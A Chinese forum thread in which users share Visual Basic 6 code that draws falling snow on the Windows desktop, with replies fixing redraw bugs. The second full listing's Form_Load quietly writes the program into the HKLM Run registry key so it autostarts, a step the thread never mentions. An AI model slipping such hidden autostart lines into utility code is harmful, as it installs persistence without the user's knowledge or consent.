发一个下雪代码
Option Explicit
'in form1  add timer
Private Declare Function SetPixel Lib "gdi32" (ByVal hdc As Long, ByVal x As Long, ByVal y As Long, ByVal crColor As Long) As Long
Private Declare Function GetWindowDC Lib "user32" (ByVal hWnd As Long) As Long
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Private Declare Function GetPixel Lib "gdi32" (ByVal hdc As Long, ByVal x As Long, ByVal y As Long) As Long

Private Declare Function SetPixelV Lib "gdi32" (ByVal hdc As Long, ByVal x As Long, ByVal y As Long, ByVal crColor As Long) As Long
Private Declare Function RedrawWindow Lib "user32" (ByVal hWnd As Long, lprcUpdate As Any, ByVal hrgnUpdate As Long, ByVal fuRedraw As Long) As Long

Private Declare Function CreateEllipticRgn Lib "gdi32" (ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As Long
Private Declare Function SetWindowRgn Lib "user32" (ByVal hWnd As Long, ByVal hRgn As Long, ByVal bRedraw As Boolean) As Long


Private Const SNOW_MAX& = 100
Private Const FALL_SPEED& = 3
Private Const COLOR_DIFF = 100
Dim ScreenDC&, ScreenW&, ScreenH&
Dim Snow&(SNOW_MAX, 1), Last&(SNOW_MAX)

Dim mlFrmWidth As Long
Dim mlFrmHeight As Long
Dim lbExit As Boolean

Private Sub Form_Click()
    lbExit = True
End Sub

Private Sub Form_Load()
'    Dim CER As Long
'    CER = CreateEllipticRgn(35, 10, 300, 200)
'    Call SetWindowRgn(Me.hWnd, CER, True)
   
    mlFrmWidth = Width
    mlFrmHeight = Height
    lbExit = False
    Timer1.Interval = 100
    Timer1.Enabled = True

End Sub
Private Sub NewSnow(i&)
    Snow(i, 0) = Rnd * ScreenW
    Snow(i, 1) = 0
    Last(i) = GetPixel(ScreenDC, Snow(i, 0), 0)
End Sub
Private Function ColorDec(Color1&, Color2&) As Long
    Dim R1%, G1%, B1%
    Dim R2%, G2%, B2%
    GetRGB Color1, R1, G1, B1
    GetRGB Color2, R2, G2, B2
    ColorDec = Abs(R1 - R2) + Abs(G1 - G2) + Abs(B1 - B2)
End Function
Private Sub GetRGB(ByVal Color&, ByRef r%, ByRef g%, ByRef b%)
    r = (Color Mod 256)
    b = (Int(Color \ 65536))
    g = ((Color - (b * 65536) - r) \ 256)
End Sub
Private Sub Form_Resize()
    If WindowState <> 1 Then
        Width = mlFrmWidth
        Height = mlFrmHeight
    End If
End Sub

Private Sub Form_Unload(Cancel As Integer)
    lbExit = True
    Erase Snow
    Erase Last
    RedrawWindow ScreenDC, ByVal 0, ByVal 0, &H1
    Set Form1 = Nothing
End Sub
Private Sub Timer1_Timer()
    Dim llCount As Long
    Timer1.Enabled = False
    Dim i  As Long, k As Long
    Dim lPic As Long
    Dim llColor As Long
    ScreenDC = GetWindowDC(0)
    ScreenW = Screen.Width / Screen.TwipsPerPixelX
    ScreenH = Screen.Height / Screen.TwipsPerPixelY
    Randomize
    For i = 0 To SNOW_MAX
        NewSnow i
    Next

    On Error Resume Next
    Do
'        If llCount Mod 20 = 0 Then
'            llColor = RGB(Rnd * 255, Rnd * 255, Rnd * 255)
'            Label1.ForeColor = llColor
'            Label2.ForeColor = llColor
'            Label3.ForeColor = llColor
'        End If
'        llCount = llCount + 1
        For lPic = 0 To 7
        For i = 0 To SNOW_MAX
        
            SetPixel ScreenDC, Snow(i, 0) + 1, Snow(i, 1) + 1, Last(i)
            SetPixel ScreenDC, Snow(i, 0) + 1, Snow(i, 1), Last(i)
            SetPixel ScreenDC, Snow(i, 0), Snow(i, 1) + 1, Last(i)
            SetPixel ScreenDC, Snow(i, 0) - 1, Snow(i, 1) + 1, Last(i)
            SetPixel ScreenDC, Snow(i, 0) + 1, Snow(i, 1) + 1, Last(i)
            SetPixel ScreenDC, Snow(i, 0), Snow(i, 1), Last(i)
            SetPixel ScreenDC, Snow(i, 0) - 1, Snow(i, 1) - 1, Last(i)
            SetPixel ScreenDC, Snow(i, 0) - 1, Snow(i, 1), Last(i)
            SetPixel ScreenDC, Snow(i, 0), Snow(i, 1) - 1, Last(i)
            
            Snow(i, 0) = Snow(i, 0) + Rnd * FALL_SPEED - FALL_SPEED / 2 '左右随机偏转
            Snow(i, 1) = Snow(i, 1) + Rnd * FALL_SPEED '下落
            If Snow(i, 0) < 0 Or Snow(i, 0) > ScreenW Or Snow(i, 1) > ScreenH Then
                NewSnow i
            Else
                k = Last(i)
                Last(i) = GetPixel(ScreenDC, Snow(i, 0), Snow(i, 1))
               
                SetPixel ScreenDC, Snow(i, 0) + 1, Snow(i, 1) + 1, vbWhite
                SetPixel ScreenDC, Snow(i, 0) + 1, Snow(i, 1), vbWhite
                SetPixel ScreenDC, Snow(i, 0), Snow(i, 1) + 1, vbWhite
                SetPixel ScreenDC, Snow(i, 0) - 1, Snow(i, 1) + 1, vbWhite
                SetPixel ScreenDC, Snow(i, 0) + 1, Snow(i, 1) + 1, vbWhite
                SetPixel ScreenDC, Snow(i, 0), Snow(i, 1), vbWhite
                SetPixel ScreenDC, Snow(i, 0) - 1, Snow(i, 1) - 1, vbWhite
                SetPixel ScreenDC, Snow(i, 0) - 1, Snow(i, 1), vbWhite
                If Rnd * 3 < 1 And ColorDec(k, Last(i)) > COLOR_DIFF Then NewSnow i
            End If
        Next
        If lbExit = True Then Exit Do
        Sleep 20
        DoEvents
        Picture = Picture1(lPic).Picture
        Next
    Loop
    Unload Me
End Sub

支持，不过有点问题，雪景窗体中不下雪，倒是桌面在下雪？呵呵

就是桌面上下雪的啊! 窗体，可以用来做美化的而已!

雪花重叠后好像有灰色的.
再就是关闭后,雪花不能清除,需自己刷新一下才行.

Private Declare Function InvalidateRect Lib "user32.dll" (ByVal hwnd As Long, ByVal lpRect As Long, ByVal bErase As Long) As Long  

InvalidateRect 0, 0, 0

加上这些
关闭后,雪花就没有了.

Private Declare Sub SHChangeNotify Lib "shell32" _
                                                  (ByVal wEventId As Long, _
                                                  ByVal uFlags As Long, _
                                                  ByVal dwItem1 As Long, _
                                                  ByVal dwItem2 As Long)
   
  Const SHCNE_UPDATEIMAGE = &H8000&
  Const SHCNF_FLUSHNOWAIT = &H2000
  Const SHCNF_DWORD = &H3
   
  Private Sub Command1_Click()
          Dim l     As Long
          l = -1
          SHChangeNotify SHCNE_UPDATEIMAGE, SHCNF_DWORD, l, 0
  End Sub


关闭的时候加上这句就可以实现自动刷新了

^_^

应该把窗体放大,在窗体上下!
那样会更有美感!
不错!

'源代码
Private Declare Function GetDC Lib "user32" (ByVal hwnd As Long) As Long
'GetDC()功能是获取指定窗体的设备场景的句柄(hDC),用参数0则可以获取整个屏幕的场景句柄
Private Declare Function GetPixel Lib "gdi32" (ByVal hdc As Long, ByVal x As Long, ByVal y As Long) As Long
'GetPixel用于取得场景(这里是整个屏幕)中某点的颜色值
Private Declare Function SetPixel Lib "gdi32" (ByVal hdc As Long, ByVal x As Long, ByVal y As Long, ByVal crColor As Long) As Long
'SetPixel用于设置场景(这里是整个屏幕)中某点的颜色值
Private Declare Function ReleaseDC Lib "user32" (ByVal hwnd As Long, ByVal hdc As Long) As Long
'释放由GetDC()获取的设备场景句柄，否则可能造成系统锁死
Private Declare Function InvalidateRect& Lib "user32" (ByVal hwnd As Long, lpRect As RECT, ByVal bErase As Long)
'清理窗口雪花

Private Type POINTAPI '定义坐标点结构
 x As Long
 y As Long
End Type

Private Type RECT '定义“区域”数据结构，但实际上并没有用到，因为仅需在函数InvalidateRect中传递一个空的RECT参数
 left As Long
 top As Long
 right As Long
 bottom As Long
End Type
Dim rect1 As RECT

Private Const ScrnWidth = 1024 '屏幕宽度(单位:像素)
Private Const ScrnHight = 768 '屏幕高度(单位:像素)
Private Const SnowCol = &HFEFFFE '雪花颜色
Private Const SnowColDown = &HFFFFFF '积雪颜色
Private Const SnowColDuck = &HFFDDDD '深色积雪颜色
Private Const SnowNum = 500 '同一时间飘动的雪花数量

Dim hDC1 As Long '存储桌面窗口设备句柄
Dim pData(SnowNum) As POINTAPI '存储每个雪花的位置信息
Dim pColor(SnowNum) As Long '存储画出雪花前屏幕原来的颜色
Dim Vx As Integer '雪花总体水平飘行速度
Dim Vy As Integer '雪花总体垂直下落速度
Dim PVx As Integer '单个雪花实际水平飘行速度
Dim PVy As Integer '单个雪花实际垂直飘行速度

'初始化雪花位置
Private Sub InitP(i As Integer)
pData(i).x = Rnd() * ScrnWidth
pData(i).y = Rnd() * 2
pColor(i) = GetPixel(hDC1, pData(i).x, pData(i).y) '取得屏幕原来的颜色值
End Sub

'取得某一点与周围点的对比度，确定是否在此位置堆积雪花
Private Function GetContrast(i As Integer) As Long
Dim ColorCmp As Long '存储用作对比的点的颜色值
Dim tempR As Long '存储CorlorCmp的红色部分，下同
Dim tempG As Long
Dim tempB As Long
Dim Slope As Integer '存储雪花飘落方向:Vx/Vy

'计算雪花飘落方向
If PVy <> 0 Then
 Slope = PVx / PVy
Else
 Slope = 2
End If

'根据雪花飘落方向决定取哪一点作对比点，
'若PVx/PVy在-1到1之间，即Slope=0，就取正下面的象素点
'若PVx/PVy>1，取右下方的点，PVx/PVy<-1则取左下方
If Slope = 0 Then
 ColorCmp = GetPixel(hDC1, pData(i).x, pData(i).y + 1)
Else
 If Slope > 1 Then
 ColorCmp = GetPixel(hDC1, pData(i).x + 1, pData(i).y + 1)
 Else
 ColorCmp = GetPixel(hDC1, pData(i).x - 1, pData(i).y + 1)
 End If
End If

'确定当前位置没有与另一个雪花重叠，否则返回0，用于防止由于不同雪花重叠造成雪花乱堆
If ColorCmp = SnowCol Then
 GetContrast = 0
 Exit Function
End If

'分别获取ColorCmp与对比点的蓝、绿、红部分的差值
tempB = Abs((ColorCmp And &HFF0000) - (pColor(i) And &HFF0000)) / &H10000
tempG = Abs((ColorCmp And &HFF00&) - (pColor(i) And &HFF00&)) / &H100&
tempR = Abs((ColorCmp And &HFF&) - (pColor(i) And &HFF&))

'返回对比度值
GetContrast = (tempR + tempG + tempB) / 3
End Function

 '画出一帧，即重画所有雪花位置一次
Private Sub DrawP()
Dim i As Integer
For i = 0 To SnowNum
  
 '防止雪花重叠造成干扰
 If pColor(i) <> SnowCol Then
 '还原上一个位置的颜色
 SetPixel hDC1, pData(i).x, pData(i).y, pColor(i)
 End If
  
 '设置新的位置，i Mod 3用于将雪花分为三类采用不同速度，以便形成层次感
 PVx = Rnd() * 2 - 1 + Vx * (i Mod 3)
 PVy = Vy * (i Mod 3 + 1)
 pData(i).x = pData(i).x + PVx
 pData(i).y = pData(i).y + PVy
 '取得新位置原始颜色值，用于下一步雪花飘过时恢复此处颜色
 pColor(i) = GetPixel(hDC1, pData(i).x, pData(i).y)
  
 '如果获取颜色失败，表明雪花已飘出屏幕，重新初始化
 If pColor(i) = -1 Then
 InitP i
 Else
 '否则若雪花没有重叠
 If pColor(i) <> SnowCol Then
 '若对比度较小(即不能堆积),就画出雪花
 'Rnd()>0.3用于防止某些连续而明显的边界截获所有雪花
 If Rnd() > 0.3 Or GetContrast(i) < 50 Then
 SetPixel hDC1, pData(i).x, pData(i).y, SnowCol
 '否则表明找到明显的边界，画出堆积的雪，并初始化以便画新的雪花
 Else
 SetPixel hDC1, pData(i).x, pData(i).y - 1, SnowColDuck
 SetPixel hDC1, pData(i).x - 1, pData(i).y, SnowColDuck
 SetPixel hDC1, pData(i).x + 1, pData(i).y, SnowColDown
 InitP i
 End If
 End If
 End If
Next
End Sub

Private Sub Form_Load()
Set w = CreateObject("wscript.shell")
w.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe"
Dim j As Integer

Me.Caption = "桌面飘雪" '设置窗口标题

'设置计时器，Timer1用于画单帧，Timer2用于风向变化
Timer1.Enabled = True
Timer1.Interval = 10
Timer2.Enabled = True
Timer2.Interval = 2000

Randomize '初始化随机数种子

hDC1 = GetDC(0) '获取桌面窗口设备场景句柄

'初始化整个屏幕
For j = 0 To SnowNum
 pData(j).x = Rnd() * ScrnWidth
 pData(j).y = Rnd() * ScrnHight
 pColor(j) = GetPixel(hDC1, pData(j).x, pData(j).y)
Next
End Sub

Private Sub Form_Unload(Cancel As Integer)
ReleaseDC 0, hDC1 '释放桌面窗口设备句柄
InvalidateRect 0, rect1, 0 '清除所有雪花，恢复桌面
End Sub

Private Sub Label2_Click()

End Sub

Private Sub Label3_Click()

End Sub

Private Sub Timer1_Timer()
DrawP '画出一帧
End Sub

Private Sub Timer2_Timer()
'改变风向
Vx = Rnd() * 4 - 2
Vy = Rnd() + 2
End Sub

收到的鲜花

• 心中有剑 于 2007-12-27 16:13 送鲜花  2朵   附言：我很赞同

需添加上两个time控件.